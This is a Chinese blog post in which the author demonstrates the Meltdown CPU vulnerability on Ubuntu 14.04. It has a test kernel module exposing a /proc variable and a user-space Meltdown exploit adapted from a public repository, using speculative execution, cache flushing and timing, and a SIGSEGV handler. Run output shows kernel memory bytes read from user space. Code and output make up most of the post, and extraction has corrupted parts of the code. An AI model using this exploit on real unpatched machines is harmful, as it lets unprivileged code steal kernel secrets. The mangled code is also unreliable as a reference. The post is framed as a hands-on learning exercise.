本文是我在ubuntu 14.04上面进行的meltdown漏洞的亲测。meltdown漏洞,使得我们可以在用户空间读到内核空间的数据,做越权访问。我感觉每天yy看技术文章,而不去亲自试验,总是无法切身体会,因此我们来把它实例化,直接写代码看效果!本文暂时不涉及技术细节,只贴相关的代码。详细的原理,希望后面有机会再叙述。
	首先写一个内核模块,包含一个很简单的proc接口,里面有个内核全局变量variable=0x12345678,这个proc接口暴露这个全局变量。
我待会尝试用一个应用程序meltdown-baohua.c来把这个内核空间变量从用户空间偷出来。
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	static unsigned int variable=0x12345678;
	static struct proc_dir_entry *test_entry;
	static int test_proc_show(struct seq_file *seq, void *v)
	{
	unsigned int *ptr_var = seq->private;
	seq_printf(seq, %u, *ptr_var);
	return 0;
	}
	static int test_proc_open(struct inode *inode, struct file *file)
	{
	return single_open(file, test_proc_show, pde_data(inode));
	}
	static const struct file_operations test_proc_fops =
	{
	.owner = this_module,
	.open = test_proc_open,
	.read = seq_read,
	.llseek = seq_lseek,
	.release = single_release,
	};
	static __init int test_proc_init(void)
	{
	printk(variable addr:%p, &variable);
	test_entry = proc_create_data(stolen_data,0444, null, &test_proc_fops, &variable);
	if (test_entry)
	return 0;
	return -enomem;
	}
	module_init(test_proc_init);
	static __exit void test_proc_cleanup(void)
	{
	remove_proc_entry(stolen_data, null);
	}
	module_exit(test_proc_cleanup);
	module_author(barry song );
	module_description(proc exmaple);
	module_license(gpl v2);
	这个模块对应的makefile如下:
把它编译执行并加载:
	#make
	#sudo insmod proc.ko
	然后dmesg看出来printk(variable addr:%p, &variable);这一行打印的variable地址是:
	[25996.868363] variable addr:f9adf000
	然后我们用下面的程序来偷取f9adf000数据:
	#define _gnu_source
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	//#define debug 1
	/* comment out if getting illegal insctructions error */
	#ifndef have_rdtscp
	# define have_rdtscp 1
	#endif
	#if !(defined(__x86_64__) || defined(__i386__))
	# error only x86-64 and i386 are supported at the moment
	#endif
	#define target_offset12
	#define target_size(1 << target_offset)
	#define bits_read8
	#define variants_read(1 << bits_read)
	static char target_array[variants_read * target_size];
	void clflush_target(void)
	{
	int i;
	for (i = 0; i < variants_read; i++)
	_mm_clflush(&target_array[i * target_size]);
	}
	extern char stopspeculate[];
	static void __attribute__((noinline))
	speculate(unsigned long addr)
	{
	#ifdef __x86_64__
	asm volatile (
	1:	
	.rept 300	
	add $0x141, %%rax	
	.endr	
	movzx (%[addr]), %%eax	
	shl $12, %%rax	
	jz 1b	
	movzx (%[target], %%rax, 1), %%rbx
	stopspeculate: 	
	nop	
	:
	: [target] r (target_array),
	[addr] r (addr)
	: rax, rbx
	);
	#else /* ifdef __x86_64__ */
	asm volatile (
	1:	
	.rept 300	
	add $0x141, %%eax	
	.endr	
	movzx (%[addr]), %%eax	
	shl $12, %%eax	
	jz 1b	
	movzx (%[target], %%eax, 1), %%ebx
	stopspeculate: 	
	nop	
	:
	: [target] r (target_array),
	[addr] r (addr)
	: rax, rbx
	);
	#endif
	}
	static inline int
	get_access_time(volatile char *addr)
	{
	int time1, time2, junk;
	volatile int j;
	#if have_rdtscp
	time1 = __rdtscp(&junk);
	j = *addr;
	time2 = __rdtscp(&junk);
	#else
	time1 = __rdtsc();
	j = *addr;
	_mm_mfence();
	time2 = __rdtsc();
	#endif
	return time2 - time1;
	}
	static int cache_hit_threshold;
	static int hist[variants_read];
	void check(void)
	{
	int i, time, mix_i;
	volatile char *addr;
	for (i = 0; i < variants_read; i++) {
	mix_i = ((i * 167) + 13) & 255;
	addr = &target_array[mix_i * target_size];
	time = get_access_time(addr);
	if (time uc_mcontext.gregs[reg_rip] = (unsigned long)stopspeculate;
	#else
	ucontext->uc_mcontext.gregs[reg_eip] = (unsigned long)stopspeculate;
	#endif
	return;
	}
	int set_signal(void)
	{
	struct sigaction act = {
	.sa_sigaction = sigsegv,
	.sa_flags = sa_siginfo,
	};
	return sigaction(sigsegv, &act, null);
	}
	#define cycles 1000
	int readbyte(int fd, unsigned long addr)
	{
	int i, ret = 0, max = -1, maxi = -1;
	static char buf[256];
	memset(hist, 0, sizeof(hist));
	for (i = 0; i < cycles; i++) {
	ret = pread(fd, buf, sizeof(buf), 0);
	if (ret < 0) {
	perror(pread);
	break;
	}
	clflush_target();
	speculate(addr);
	check();
	}
	#ifdef debug
	for (i = 0; i  0)
	printf(addr %lx hist[%x] = %d, addr, i, hist[i]);
	#endif
	for (i = 1; i  max) {
	max = hist[i];
	maxi = i;
	}
	}
	return maxi;
	}
	static char *progname;
	int usage(void)
	{
	printf(%s: [hexaddr] [size], progname);
	return 2;
	}
	static int mysqrt(long val)
	{
	int root = val / 2, prevroot = 0, i = 0;
	while (prevroot != root && i++ < 100) {
	prevroot = root;
	root = (val / root + root) / 2;
	}
	return root;
	}
	#define estimate_cycles1000000
	static void
	set_cache_hit_threshold(void)
	{
	long cached, uncached, i;
	if (0) {
	cache_hit_threshold = 80;
	return;
	}
	for (cached = 0, i = 0; i < estimate_cycles; i++)
	cached += get_access_time(target_array);
	for (cached = 0, i = 0; i < estimate_cycles; i++)
	cached += get_access_time(target_array);
	for (uncached = 0, i = 0; i < estimate_cycles; i++) {
	_mm_clflush(target_array);
	uncached += get_access_time(target_array);
	}
	cached /= estimate_cycles;
	uncached /= estimate_cycles;
	cache_hit_threshold = mysqrt(cached * uncached);
	printf(cached = %ld, uncached = %ld, threshold %d,
	cached, uncached, cache_hit_threshold);
	}
	static int min(int a, int b)
	{
	return a < b ? a : b;
	}
	int main(int argc, char *argv[])
	{
	int ret, fd, i, is_vulnerable;
	unsigned long addr, size;
	progname = argv[0];
	if (argc < 3)
	return usage();
	if (sscanf(argv[1], %lx, &addr) != 1)
	return usage();
	if (sscanf(argv[2], %lx, &size) != 1)
	return usage();
	memset(target_array, 1, sizeof(target_array));
	ret = set_signal();
	set_cache_hit_threshold();
	fd = open(/proc/stolen_data, o_rdonly);
	if (fd < 0) {
	perror(open);
	return -1;
	}
	for (i = 0; i < size; i++) {
	ret = readbyte(fd, addr);
	if (ret == -1)
	ret = 0xff;
	printf(read %lx = %x %c (score=%d/%d),
	addr, ret, isprint(ret) ? ret : ' ',
	ret != 0xff ? hist[ret] : 0,
	cycles);
	addr++;
	}
	close(fd);
	return 0;
	}
	上述程序改编自:https://github.com/paboldin/meltdown-exploit.git
	编译上述程序,并执行偷取:
	baohua@baohua-virtualbox:~/meltdown-exploit$ gcc -o2 -msse2 meltdown-baohua.c
	baohua@baohua-virtualbox:~/meltdown-exploit$ sudo ./a.outf9adf000 4
	[sudo] password for baohua:
	cached = 31, uncached = 312, threshold 98
	read f9adf000 = 78 x (score=120/1000)
	read f9adf001 = 56 v (score=129/1000)
	read f9adf002 = 34 4 (score=218/1000)
	read f9adf003 = 12 (score=178/1000)
	这样我们就偷取到了f9adf000开始的4个字节,12345678了!
	详细的原理,暂时没有时间讲了,读者们可以先动手做起来!
			
			
       	 	
    	官方发布i9-9900K与AMD2700X的性能差距
         	 	
    	BLE与物联网利诱难忍,恩智浦终于“上钩”了
         	 	
    	一文解析液晶显示器的背光模组
         	 	
    	word排版怎么排_word排版技巧大全
         	 	
    	特斯拉2019四季度交付数量达到11.2万辆,全年增长50%
         	 	
    	在Ubuntu 14.04上面进行的meltdown漏洞的亲测
         	 	
    	国产DSP完美替代TI 世强新增代理进芯电子
         	 	
    	润和软件发布面向云边端全场景下分布式协同行业解决方案
         	 	
    	浅谈变频器与外部联系的信号接口
         	 	
    	浅析2018后,液晶面板主流趋势
         
       	 	
    	线性电路叠加性和齐次性的研究
         	 	
    	音圈马达助力的苹果秋季发布会
         	 	
    	一文解读RF射频设备与晶振之间的关系
         	 	
    	中国联通率先开通100G WDM实验网
         	 	
    	前 10 月电动自行车产量同比增长 33.4%
         	 	
    	OnePlus与哈苏共同探索智能手机相机技术的更多可能
         	 	
    	气象卫星夜间微光云图和红外云图的多种融合方法的研究与比较
         	 	
    	基于TTL电路的LED可调彩灯控制器
         	 	
    	检测环境光及控制照明的微控制器单管脚
         	 	
    	示波器测量之抖动的四个维度